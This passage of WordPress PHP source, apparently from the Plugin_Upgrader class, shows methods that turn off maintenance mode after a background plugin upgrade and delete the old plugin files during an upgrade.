mode after upgrading an active plugin. * * Hooked to the {@see 'upgrader_post_install'} filter by Plugin_Upgrader::upgrade(). * * @since 5.4.0 * * @param bool|WP_Error $response The installation response after the installation has finished. * @param array $plugin Plugin package arguments. * @return bool|WP_Error The original `$response` parameter or WP_Error. */ public function active_after( $response, $plugin ) { if ( is_wp_error( $response ) ) { return $response; } // Only disable maintenance mode when in cron (background update). if ( ! wp_doing_cron() ) { return $response; } $plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : ''; // Only run if plugin is active. if ( ! is_plugin_active( $plugin ) ) { return $response; } // Time to remove maintenance mode. Bulk edit handles this separately. if ( ! $this->bulk ) { $this->maintenance_mode( false ); } return $response; } /** * Deletes the old plugin during an upgrade. * * Hooked to the {@see 'upgrader_clear_destination'} filter by * Plugin_Upgrader::upgrade() and Plugin_Upgrader::bulk_upgrade(). * * @since 2.8.0 * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * * @param bool|WP_Error $removed Whether the destination was cleared. * True on success, WP_Error on failure. * @param string $local_destination The local package destination. * @param string $remote_destination The remote package destination. * @param array $plugin Extra arguments passed to hooked filters. * @return bool|WP_Error */ public function delete_old_plugin( $removed, $local_destination, $remote_destination, $plugin ) { global $wp_filesystem; if ( is_wp_error( $removed ) ) { return $removed; // Pass errors through. } $plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : ''; if ( empty( $plugin ) ) { return new WP_Error( 'bad_request', $this->strings['bad_request'] ); } $plugins_dir = $wp_filesystem->wp_plugins_dir(); $this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin ) ); if ( ! $wp_filesystem->exists( $this_plugin_dir ) ) { // If it's already vanished. return $removed; } /* * If plugin is in its own directory, recursively delete the directory. * Base check on if plugin includes directory separator AND that it's not the root plugin folder. */ if ( strpos( $plugin, '/' ) && $this_plugin_dir !== $plugins_dir ) { $deleted = $wp_filesystem->delete( $this_plugin_dir, true ); } else { $deleted = $wp_filesystem->delete( $plugins_dir . $plugin ); } if ( ! $deleted ) { return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] ); } return true; } }